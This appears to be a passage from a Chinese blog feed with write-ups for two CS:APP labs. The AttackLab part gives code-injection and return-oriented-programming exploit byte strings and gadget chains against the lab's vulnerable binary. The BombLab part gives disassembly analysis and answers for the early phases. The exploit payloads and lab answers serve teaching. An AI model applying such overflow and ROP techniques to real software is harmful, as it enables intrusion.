&lt;pre&gt;&lt;code&gt;401850: 48 83 c4 80           add    $0xffffffffffffff80,%rsp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;思考一下，直接把&lt;code&gt;%rsp&lt;/code&gt;给拉下来&lt;code&gt;0x28+0x8&lt;/code&gt;即&lt;code&gt;0x30&lt;/code&gt;就行了（也可以把这个字符串放在更高的地址上），减掉&lt;code&gt;0x30&lt;/code&gt;是为了不使得注入的代码被破坏，因为我构造的代码有&lt;code&gt;pushq&lt;/code&gt;。（&lt;s&gt;别问我怎么知道的，问就是我只想减去&lt;code&gt;0x8+0x10&lt;/code&gt;结果就segmentation fault了&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;紧接着，cookie的字符串的字节码如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;35 39 62 39 39 37 66 61 00
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们写出下面的汇编&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sub $0x30, %rsp # protect
movq $0x5561dc78, %rdi # addr of cookie string
movq $0x4018fa, %rax # addr of touch3()
pushq %rax
retq
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以最后的字节码如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* cookie string */
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00
/* injected code */
48 83 ec 30 48 c7 c7 78
dc 61 55 48 c7 c0 fa 18
40 00 50 c3 00 00 00 00
/* return to injected code */
88 dc 61 55 00 00 00 00
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;ROP&lt;/h2&gt;
&lt;p&gt;面向对象编程，面过过程还有函数式编程，我们都很熟悉了。那么，什么是面向返回编程呢？&lt;/p&gt;
&lt;p&gt;当一个程序使用了如下的技术的时候，上面的代码注入操作就没用了&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Randomized stack address&lt;/li&gt;
&lt;li&gt;Set section of memory holding the stack as non-executable&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;首先我们无法确定栈的地址，即使能确定，但由于栈所在的内存区域，被标记为了不可执行，所以一旦执行位于栈上的代码就会出现&lt;code&gt;segment fault&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;但如果我们可以利用该程序里头现有的代码（字节码）完成攻击&lt;/p&gt;
&lt;p&gt;比如有一段代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void setval_210(unsigned *p)
{
  *p = 3347663060U;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;被编译为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;400f15: c7 07 d4 48 89 c7   movl $0xc78948d4,(%rdi)
400f1b: c3                  retq
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但仔细观察一下，&lt;code&gt;c3&lt;/code&gt;前的片段&lt;code&gt;48 89 c7&lt;/code&gt;其实是&lt;code&gt;movq %rax, %rdi&lt;/code&gt;的字节码，要想执行这段代码，我们只需要通过&lt;code&gt;ret&lt;/code&gt;命令将PC给设定为对应的代码的地址即可。这样，一段汇编就这样被构造出来了&lt;/p&gt;
&lt;p&gt;如果把这些代码拼在一起的话，就成为一段代码序列了。一句执行完之后就会ret，第二句的地址跟上就行了。以此类推，如下图&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Phase 4&lt;/h3&gt;
&lt;p&gt;一句话：使用ROP，让程序带参地跳到&lt;code&gt;touch2()&lt;/code&gt;上&lt;/p&gt;
&lt;p&gt;首先我们容易想到，先把&lt;code&gt;cookie&lt;/code&gt;给存到栈上，最后直接&lt;code&gt;pop&lt;/code&gt;到&lt;code&gt;%rdi&lt;/code&gt;上&lt;/p&gt;
&lt;p&gt;我们只能从&lt;code&gt;start_farm&lt;/code&gt;到&lt;code&gt;mid_farm&lt;/code&gt;之间的汇编里头找对应的字节码来构造gadget&lt;/p&gt;
&lt;p&gt;但是经过一番查表，并没有&lt;code&gt;popq %rdi&lt;/code&gt;的字节码啊，而writeup提醒我们需要两个gadget来解决该问题，因此，猜测是&lt;code&gt;popq&lt;/code&gt;到一个寄存器上，然后由该寄存器拷贝到&lt;code&gt;%rdi&lt;/code&gt;上&lt;/p&gt;
&lt;p&gt;查表后发现有代码&lt;code&gt;popq %rax&lt;/code&gt;和&lt;code&gt;movq %rax, %rdi&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;00000000004019a7 &amp;lt;addval_219&amp;gt;:
  4019a7: 8d 87 51 73 58 90     lea    -0x6fa78caf(%rdi),%eax
  4019ad: c3                    retq 

00000000004019c3 &amp;lt;setval_426&amp;gt;:
  4019c3: c7 07 48 89 c7 90     movl   $0x90c78948,(%rdi)
  4019c9: c3                    retq 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;代码的起始地址分别为&lt;code&gt;4019ab&lt;/code&gt;和&lt;code&gt;4019c5&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;因此很容易构造出对应的字节码，从溢出的部分开始，自底向上，分别为&lt;code&gt;popq&lt;/code&gt;的gadget地址，cookie的二进制，&lt;code&gt;movq&lt;/code&gt;的gadget地址，以及&lt;code&gt;touch2()&lt;/code&gt;的地址&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Phase 5&lt;/h3&gt;
&lt;p&gt;这个好像writeup没建议必须要做，因为只有5分，却要构造8个gadget，它还说前面四个phase你对解决了就已经95分了，言外之意就是：&lt;s&gt;除非你是卷王，否则就不要碰了&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;跟Phase4的原理差不多，但是&lt;code&gt;farm&lt;/code&gt;的范围扩大到&lt;code&gt;end_farm&lt;/code&gt;，我们要做的是依旧是构造gadget&lt;/p&gt;
&lt;p&gt;这些gadget要完成，如下的工作&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;计算出cookie字符串所在的地址&lt;/li&gt;
&lt;li&gt;跳转到&lt;code&gt;touch3()&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;难点是，如何在栈随机化的情况下得到字符串的起始地址。随机化的起始地址，给我们的信息就是：绝对地址的跳转，已经是不可能的了&lt;/p&gt;
&lt;p&gt;那么，相对地址可以吗？可以的！紧随&lt;code&gt;mid_farm&lt;/code&gt;后面的函数&lt;code&gt;add_xy()&lt;/code&gt;就已经给我们指点了明路：只需要&lt;code&gt;%rsp+offset&lt;/code&gt;即可得到字符串的起始地址。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;00000000004019d6 &amp;lt;add_xy&amp;gt;:
  4019d6: 48 8d 04 37           lea    (%rdi,%rsi,1),%rax
  4019da: c3 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那我们先把farm里头的字节码序列都分析一波呗，看看能得出什么可能会有用的序列&lt;/p&gt;
&lt;p&gt;再结合phase4的分析，最后得出如下的语句&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;48 89 e0    movq %rsp,%rax
48 89 c7    movq %rax,%rdi
58          popq %rax
89 c2       movl %eax,%edx
89 d1       movl %edx,%ecx
89 ce       movl %ecx,%esi
48 8d 04 37 lea  (%rdi,%rsi,1),%rax
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这些语句有什么用呢，仔细观察，发现里头有常见的&lt;code&gt;%rsp&lt;/code&gt;和&lt;code&gt;%rdi&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;到这里，我们先撸一下大致的思路，总之要实现这样的一个目的：&lt;strong&gt;把字符串的起始地址给塞进%rdi，然后跳转到&lt;code&gt;touch3()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;从&lt;code&gt;lea&lt;/code&gt;语句中可以得出这个信息：算出字符串的地址需要寄存器&lt;code&gt;%rdi&lt;/code&gt;和&lt;code&gt;%rsi&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;又从前两条语句可以看出&lt;code&gt;%rdi&lt;/code&gt;存的是栈的地址，那&lt;code&gt;%rsi&lt;/code&gt;就是offset了，再仔细观察一下，发现&lt;code&gt;%rsi&lt;/code&gt;的值可以通过&lt;code&gt;popq %rax&lt;/code&gt;之后&lt;code&gt;movl&lt;/code&gt;几下后得到。&lt;/p&gt;
&lt;p&gt;所以先将%rsp存到%rdi，然后将栈上存的offset弄到%rsi里头，通过lea计算出地址&lt;/p&gt;
&lt;p&gt;此时字符串的地址就存放于&lt;code&gt;%rax&lt;/code&gt;上，最后一波&lt;code&gt;movq %rax, %rdi&lt;/code&gt;将地址送到&lt;code&gt;%rdi&lt;/code&gt;上，此时参数已经准备完毕。接着跳转到&lt;code&gt;touch3()&lt;/code&gt;上面就行了，由于gadget后面都有&lt;code&gt;ret&lt;/code&gt;，所以把地址直接写在栈上即可&lt;/p&gt;
&lt;p&gt;最后要构造的字节码应有如下结构（地址从低到高）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;48 89 e0    movq %rsp,%rax
48 89 c7    movq %rax,%rdi
58          popq %rax
# offset 0x48
89 c2       movl %eax,%edx
89 d1       movl %edx,%ecx
89 ce       movl %ecx,%esi
48 8d 04 37 lea  (%rdi,%rsi,1),%rax
48 89 c7    movq %rax,%rdi
# cookie string
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
69 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后提交 PASS 此处完结撒花&lt;/p&gt;
&lt;h2&gt;写在后面&lt;/h2&gt;
&lt;p&gt;虽然就五个实验，但可以让我们感受到什么是Buffer Overflow，以及对应的攻击方式。&lt;/p&gt;
&lt;p&gt;&lt;s&gt;也许还可以作为PWN的入门课&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;好像真没什么必要弄个写在后面&lt;/s&gt;&lt;/p&gt;
</content:encoded><category>Lab</category></item><item><title>Writeup for BombLab</title><link>https://situ2001.com/blog/csapp/bomblab-writeup/</link><guid isPermaLink="true">https://situ2001.com/blog/csapp/bomblab-writeup/</guid><description>CS:APP实验之拆汇编炸弹</description><pubDate>Sat, 23 Oct 2021 08:10:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;开始之前&lt;/h2&gt;
&lt;p&gt;大名鼎鼎的CS:APP Bomb Lab，即阅读汇编拆炸弹。&lt;/p&gt;
&lt;p&gt;实验预计用时：8.5小时（这是我的耗时）&lt;/p&gt;
&lt;p&gt;自学实验材料留给我们一个&lt;code&gt;bomb&lt;/code&gt;和&lt;code&gt;bomb.c&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;首先我们先看看&lt;code&gt;bomb.c&lt;/code&gt;，缺少头文件，它是不能编译的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/***************************************************************************
 * Dr. Evil&apos;s Insidious Bomb, Version 1.1
 * Copyright 2011, Dr. Evil Incorporated. All rights reserved.
 *
 * LICENSE:
 *
 * Dr. Evil Incorporated (the PERPETRATOR) hereby grants you (the
 * VICTIM) explicit permission to use this bomb (the BOMB).  This is a
 * time limited license, which expires on the death of the VICTIM.
 * The PERPETRATOR takes no responsibility for damage, frustration,
 * insanity, bug-eyes, carpal-tunnel syndrome, loss of sleep, or other
 * harm to the VICTIM.  Unless the PERPETRATOR wants to take credit,
 * that is.  The VICTIM may not distribute this bomb source code to
 * any enemies of the PERPETRATOR.  No VICTIM may debug,
 * reverse-engineer, run &quot;strings&quot; on, decompile, decrypt, or use any
 * other technique to gain knowledge of and defuse the BOMB.  BOMB
 * proof clothing may not be worn when handling this program.  The
 * PERPETRATOR will not apologize for the PERPETRATOR&apos;s poor sense of
 * humor.  This license is null and void where the BOMB is prohibited
 * by law.
 ***************************************************************************/

#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &quot;support.h&quot;
#include &quot;phases.h&quot;

/* 
 * Note to self: Remember to erase this file so my victims will have no
 * idea what is going on, and so they will all blow up in a
 * spectaculary fiendish explosion. -- Dr. Evil 
 */

FILE *infile;

int main(int argc, char *argv[])
{
    char *input;

    /* Note to self: remember to port this bomb to Windows and put a 
     * fantastic GUI on it. */

    /* When run with no arguments, the bomb reads its input lines 
     * from standard input. */
    if (argc == 1) {  
       infile = stdin;
    } 

    /* When run with one argument &amp;lt;file&amp;gt;, the bomb reads from &amp;lt;file&amp;gt; 
     * until EOF, and then switches to standard input. Thus, as you 
     * defuse each phase, you can add its defusing string to &amp;lt;file&amp;gt; and
     * avoid having to retype it. */
    else if (argc == 2) {
       if (!(infile = fopen(argv[1], &quot;r&quot;))) {
           printf(&quot;%s: Error: Couldn&apos;t open %s\n&quot;, argv[0], argv[1]);
           exit(8);
       }
    }

    /* You can&apos;t call the bomb with more than 1 command line argument. */
    else {
       printf(&quot;Usage: %s [&amp;lt;input_file&amp;gt;]\n&quot;, argv[0]);
       exit(8);
    }

    /* Do all sorts of secret stuff that makes the bomb harder to defuse. */
    initialize_bomb();

    printf(&quot;Welcome to my fiendish little bomb. You have 6 phases with\n&quot;);
    printf(&quot;which to blow yourself up. Have a nice day!\n&quot;);

    /* Hmm...  Six phases must be more secure than one phase! */
    input = read_line();             /* Get input                   */
    phase_1(input);                  /* Run the phase               */
    phase_defused();                 /* Drat!  They figured it out!
          * Let me know how they did it. */
    printf(&quot;Phase 1 defused. How about the next one?\n&quot;);

    /* The second phase is harder.  No one will ever figure out
     * how to defuse this... */
    input = read_line();
    phase_2(input);
    phase_defused();
    printf(&quot;That&apos;s number 2.  Keep going!\n&quot;);

    /* I guess this is too easy so far.  Some more complex code will
     * confuse people. */
    input = read_line();
    phase_3(input);
    phase_defused();
    printf(&quot;Halfway there!\n&quot;);

    /* Oh yeah?  Well, how good is your math?  Try on this saucy problem! */
    input = read_line();
    phase_4(input);
    phase_defused();
    printf(&quot;So you got that one.  Try this one.\n&quot;);
    
    /* Round and &apos;round in memory we go, where we stop, the bomb blows! */
    input = read_line();
    phase_5(input);
    phase_defused();
    printf(&quot;Good work!  On to the next...\n&quot;);

    /* This phase will never be used, since no one will get past the
     * earlier ones.  But just in case, make this one extra hard. */
    input = read_line();
    phase_6(input);
    phase_defused();

    /* Wow, they got it!  But isn&apos;t something... missing?  Perhaps
     * something they overlooked?  Mua ha ha ha ha! */
    
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这段代码看起来，就是让你一行一行输入答案，正确的话就继续，错误的话就爆炸。&lt;/p&gt;
&lt;p&gt;可以看出我们可以把答案分开不同行，放在一个文件里头，运行炸弹的时候传进去就行了，也可以一个个输进命令行。&lt;/p&gt;
&lt;p&gt;其次我们需要反汇编一下，获取反汇编后的汇编代码，这里用&lt;code&gt;objdump&lt;/code&gt;即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;objdump -d bomb &amp;gt; bomb.asm
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们还需要准备好&lt;code&gt;gdb&lt;/code&gt;，运行的时候做调试工具&lt;/p&gt;
&lt;p&gt;小tips：打断点在在比较指令后，用&lt;code&gt;info registers eflags&lt;/code&gt;就能看到Condition codes了。&lt;s&gt;可以提前知道炸弹会不会炸，要是出事了&lt;code&gt;kill&lt;/code&gt;掉就行了&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;万事俱备，那我们开始吧&lt;/p&gt;
&lt;h2&gt;Phase 1&lt;/h2&gt;
&lt;p&gt;该阶段不难，读出大概意思就能解&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0000000000400ee0 &amp;lt;phase_1&amp;gt;:
  400ee0: 48 83 ec 08           sub    $0x8,%rsp
  400ee4: be 00 24 40 00        mov    $0x402400,%esi
  400ee9: e8 4a 04 00 00        callq  401338 &amp;lt;strings_not_equal&amp;gt;
  400eee: 85 c0                 test   %eax,%eax
  400ef0: 74 05                 je     400ef7 &amp;lt;phase_1+0x17&amp;gt;
  400ef2: e8 43 05 00 00        callq  40143a &amp;lt;explode_bomb&amp;gt;
  400ef7: 48 83 c4 08           add    $0x8,%rsp
  400efb: c3                    retq   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先是准备好了两个参数，然后调用&lt;code&gt;strings_not_euqal&lt;/code&gt; 函数，然后对比返回值，如果0就不爆炸，不是0就会爆炸。如果是正常人的话，想想就会是，输入的字符串不相等就会爆炸，相等就不爆。&lt;/p&gt;
&lt;p&gt;看到汇编里头操作寄存器的语句，容易知道是传入两个字符串——用户输入的与预置的，进行比较。&lt;/p&gt;
&lt;p&gt;而再观察一番，发现预置的那个字符串在&lt;code&gt;0x402400&lt;/code&gt;上。我们便可以用如下命令来读取该地址上的值。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) x /s 0x402400
0x402400:       &quot;Border relations with Canada have never been better.&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以答案是&lt;code&gt;Border relations with Canada have never been better.&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Phase 2&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;0000000000400efc &amp;lt;phase_2&amp;gt;:
  400efc: 55                    push   %rbp
  400efd: 53                    push   %rbx
  400efe: 48 83 ec 28           sub    $0x28,%rsp
  400f02: 48 89 e6              mov    %rsp,%rsi
  400f05: e8 52 05 00 00        callq  40145c &amp;lt;read_six_numbers&amp;gt;
  400f0a: 83 3c 24 01           cmpl   $0x1,(%rsp)
  400f0e: 74 20                 je     400f30 &amp;lt;phase_2+0x34&amp;gt;
  400f10: e8 25 05 00 00        callq  40143a &amp;lt;explode_bomb&amp;gt;
  400f15: eb 19                 jmp    400f30 &amp;lt;phase_2+0x34&amp;gt;
  400f17: 8b 43 fc              mov    -0x4(%rbx),%eax
  400f1a: 01 c0                 add    %eax,%eax
  400f1c: 39 03                 cmp    %eax,(%rbx)
  400f1e: 74 05                 je     400f25 &amp;lt;phase_2+0x29&amp;gt;
  400f20: e8 15 05 00 00        callq  40143a &amp;lt;explode_bomb&amp;gt;
  400f25: 48 83 c3 04           add    $0x4,%rbx
  400f29: 48 39 eb              cmp    %rbp,%rbx
  400f2c: 75 e9                 jne    400f17 &amp;lt;phase_2+0x1b&amp;gt;
  400f2e: eb 0c                 jmp    400f3c &amp;lt;phase_2+0x40&amp;gt;
  400f30: 48 8d 5c 24 04        lea    0x4(%rsp),%rbx
  400f35: 48 8d 6c 24 18        lea    0x18(%rsp),%rbp
  400f3a: eb db                 jmp    400f17 &amp;lt;phase_2+0x1b&amp;gt;
  400f3c: 48 83 c4 28           add    $0x28,%rsp
  400f40: 5b                    pop    %rbx
  400f41: 5d                    pop    %rbp
  400f42: c3                    retq  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里可以看到一个函数&lt;code&gt;read_six_numbers&lt;/code&gt;，顾名思义，这个函数是用来从input里头读取六个数字。我们来分析下这个函数到底做了啥。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;000000000040145c &amp;lt;read_six_numbers&amp;gt;:
  40145c: 48 83 ec 18           sub    $0x18,%rsp
  401460: 48 89 f2              mov    %rsi,%rdx
  401463: 48 8d 4e 04           lea    0x4(%rsi),%rcx
  401467: 48 8d 46 14           lea    0x14(%rsi),%rax
  40146b: 48 89 44 24 08        mov    %rax,0x8(%rsp)
  401470: 48 8d 46 10           lea    0x10(%rsi),%rax
  401474: 48 89 04 24           mov    %rax,(%rsp)
  401478: 4c 8d 4e 0c           lea    0xc(%rsi),%r9
  40147c: 4c 8d 46 08           lea    0x8(%rsi),%r8
  401480: be c3 25 40 00        mov    $0x4025c3,%esi
  401485: b8 00 00 00 00        mov    $0x0,%eax
  40148a: e8 61 f7 ff ff        callq  400bf0 &amp;lt;__isoc99_sscanf@plt&amp;gt;
  40148f: 83 f8 05              cmp    $0x5,%eax
  401492: 7f 05                 jg     401499 &amp;lt;read_six_numbers+0x3d&amp;gt;
  401494: e8 a1 ff ff ff        callq  40143a &amp;lt;explode_bomb&amp;gt;
  401499: 48 83 c4 18           add    $0x18,%rsp
  40149d: c3                    retq   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们去&lt;strong&gt;CppReference&lt;/strong&gt;查一下C语言的API&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int sscanf( const char *restrict buffer, const char *restrict format, ... ); // (since C99)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输入的格式化字符串应该在第二个参数，而上面的汇编代码可以看出，这个字符串在地址&lt;code&gt;0x4025c3&lt;/code&gt;上，我们用gdb来看看&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) x/s 0x4025c3
0x4025c3:       &quot;%d %d %d %d %d %d&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;emm果然是六个数字啊，那我们就要看看，第三到第八个参数是啥了。&lt;/p&gt;
&lt;p&gt;首先在调用函数前，&lt;code&gt;phase_2&lt;/code&gt;将栈顶指针给复制到了&lt;code&gt;%rsi&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;400f02: 48 89 e6              mov    %rsp,%rsi
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后在读取六个数字的函数调用sscanf之前，准备了一坨参数，可以看到偏移量都是4，妥妥的int整数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  # %rsi is %rsp
  401463: 48 8d 4e 04           lea    0x4(%rsi),%rcx
  401467: 48 8d 46 14           lea    0x14(%rsi),%rax
  40146b: 48 89 44 24 08        mov    %rax,0x8(%rsp)
  401470: 48 8d 46 10           lea    0x10(%rsi),%rax
  401474: 48 89 04 24           mov    %rax,(%rsp)
  401478: 4c 8d 4e 0c           lea    0xc(%rsi),%r9
  40147c: 4c 8d 46 08           lea    0x8(%rsi),%r8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对着寄存器表查了一波，&lt;code&gt;%rsi&lt;/code&gt;为第一个变量的地址，&lt;code&gt;%rcx&lt;/code&gt;为第二个变量的地址，&lt;code&gt;%r8&lt;/code&gt;是第三个的...&lt;/p&gt;
&lt;p&gt;那我可以猜测了——这六个数是依次从栈顶排下去的&lt;/p&gt;
&lt;p&gt;可以直接实验一下，在爆炸前打个断点，输入&lt;code&gt;1 2 3 4 5 6&lt;/code&gt;，然后看看此时栈的情况。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) x/8wx $rsp
0x7fffffffe350: 0x00000001      0x00000002      0x00000003      0x00000004
0x7fffffffe360: 0x00000005      0x00000006      0x00401431      0x00000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;果然如此，那我们继续看看汇编&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  400f0a: 83 3c 24 01           cmpl   $0x1,(%rsp)
  400f0e: 74 20                 je     400f30 &amp;lt;phase_2+0x34&amp;gt;
  400f10: e8 25 05 00 00        callq  40143a &amp;lt;explode_bomb&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看出，先是看看栈顶是否为1，是就继续，否则爆炸。&lt;/p&gt;
&lt;p&gt;然后执行下面这些语句，先把第二个元素的地址放入&lt;code&gt;%rbx&lt;/code&gt;，然后&lt;code&gt;%rbp&lt;/code&gt;为&lt;code&gt;%rsp + 0x18&lt;/code&gt;，刚好是6个int整数的长度&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  400f30: 48 8d 5c 24 04        lea    0x4(%rsp),%rbx
  400f35: 48 8d 6c 24 18        lea    0x18(%rsp),%rbp
  400f3a: eb db                 jmp    400f17 &amp;lt;phase_2+0x1b&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后跳转到这，开始循环，可以看到，前面的这几条语句是初始化循环。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  400f17: 8b 43 fc              mov    -0x4(%rbx),%eax
  400f1a: 01 c0                 add    %eax,%eax
  400f1c: 39 03                 cmp    %eax,(%rbx)
  400f1e: 74 05                 je     400f25 &amp;lt;phase_2+0x29&amp;gt;
  400f20: e8 15 05 00 00        callq  40143a &amp;lt;explode_bomb&amp;gt;
  400f25: 48 83 c3 04           add    $0x4,%rbx
  400f29: 48 39 eb              cmp    %rbp,%rbx
  400f2c: 75 e9                 jne    400f17 &amp;lt;phase_2+0x1b&amp;gt;
  400f2e: eb 0c                 jmp    400f3c &amp;lt;phase_2+0x40&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上面这段汇编的意思是：&lt;/p&gt;
&lt;p&gt;把第一个元素放入&lt;code&gt;%eax&lt;/code&gt;，然后将其翻倍，然后与第二个元素进行比较，如果不相等，就引爆炸弹。然后&lt;code&gt;%rbx&lt;/code&gt;就继续向上跑，指向第三个元素，继续与第二个元素比较，如果第三个元素是第二个的两倍就继续，否则就爆炸，......，直到&lt;code&gt;%rbx&lt;/code&gt;与&lt;code&gt;$rbp&lt;/code&gt;相等为止。&lt;/p&gt;
&lt;p&gt;所以后一个元素要是前一个元素的两倍，并且第一个元素要是1。&lt;/p&gt;
&lt;p&gt;答案便呼之欲出：&lt;code&gt;1 2 4 8 16 32&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Phase 3&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;0000000000400f43 &amp;lt;phase_3&amp;gt;:
  400f43: 48 83 ec 18           sub    $0x18,%rsp
  400f47: 48 8d 4c 24 0c        lea    0xc(%rsp),%rcx
  400f4c: 48 8d 54 24 08        lea    0x8(%rsp),%rdx
  400f51: be cf 25 40 00        mov    $0x4025cf,%esi
  400f56: b8 00 00 00 00        mov    $0x0,%eax
  400f5b: e8 90 fc ff ff        callq  400bf0 &amp;lt;__isoc99_sscanf@plt&amp;gt;
  400f60: 83 f8 01              cmp    $0x1,%eax
  400f63: 7f 05                 jg     400f6a &amp;lt;phase_3+0x27&amp;gt;
  400f65: e8 d0 04 00 00        callq  40143a &amp;lt;explode_bomb&amp;gt;
  400f6a: 83 7c 24 08 07        cmpl   $0x7,0x8(%rsp)
  400f6f: 77 3c                 ja     400fad &amp;lt;phase_3+0x6a&amp;gt;
  400f71: 8b 44 24 08           mov    0x8(%rsp),%eax
  400f75: ff 24 c5 70 24 40 00  jmpq   *0x402470(,%rax,8)
  400f7c: b8 cf 00 00 00        mov    $0xcf,%eax
  400f81: eb 3b                 jmp    400fbe &amp;lt;phase_3+0x7b&amp;gt;
  400f83: b8 c3 02 00 00        mov    $0x2c3,%eax
  400f88: eb 34                 jmp    400fbe &amp;lt;phase_3+0x7b&amp;gt;
  400f8a: b8 00 01 00 00        mov    $0x100,%eax
  400f8f: eb 2d                 jmp    400fbe &amp;lt;phase_3+0x7b&amp;gt;
  400f91: b8 85 01 00 00        mov    $0x185,%eax
  400f96: eb 26                 jmp    400fbe &amp;lt;phase_3+0x7b&amp;gt;
  400f98: b8 ce 00 00 00        mov    $0xce,%eax
  400f9d: eb 1f                 jmp    400fbe &amp;lt;phase_3+0x7b&amp;gt;
  400f9f: b8 aa 02 00 00        mov    $0x2aa,%eax
  400fa4: eb 18                 jmp    400fbe &amp;lt;phase_3+0x7b&amp;gt;
  400fa6: b8 47 01 00 00        mov    $0x147,%eax
  400fab: eb 11                 jmp    400fbe &amp;lt;phase_3+0x7b&amp;gt;
  400fad: e8 88 04 00 00        callq  40143a &amp;lt;explode_bomb&amp;gt;
  400fb2: b8 00 00 00 00        mov    $0x0,%eax
  400fb7: eb 05                 jmp    400fbe &amp;lt;phase_3+0x7b&amp;gt;
  400fb9: b8 37 01 00 00        mov    $0x137,%eax
  400fbe: 3b 44 24 0c           cmp    0xc(%rsp),%eax
  400fc2: 74 05                 je     400fc9 &amp;lt;phase_3+0x86&amp;gt;
  400fc4: e8 71 04 00 00        callq  40143a &amp;lt;explode_bomb&amp;gt;
  400fc9: 48 83 c4 18           add    $0x18,%rsp
  400fcd: c3                    retq
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们把这汇编拆开几部分来分析，首先很容易看出这个&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;400f5b: e8 90 fc ff ff        callq  400bf0 &amp;lt;__isoc99_sscanf@plt&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;很明显是做输入了，我们去&lt;strong&gt;CppReference&lt;/strong&gt;查一下C语言的API，&lt;s&gt;哦不用了刚刚已经查过了&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;再看看开头这一段汇编，这是为&lt;code&gt;sscanf&lt;/code&gt;函数准备参数的过程。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0000000000400f43 &amp;lt;phase_3&amp;gt;:
  400f43: 48 83 ec 18           sub    $0x18,%rsp
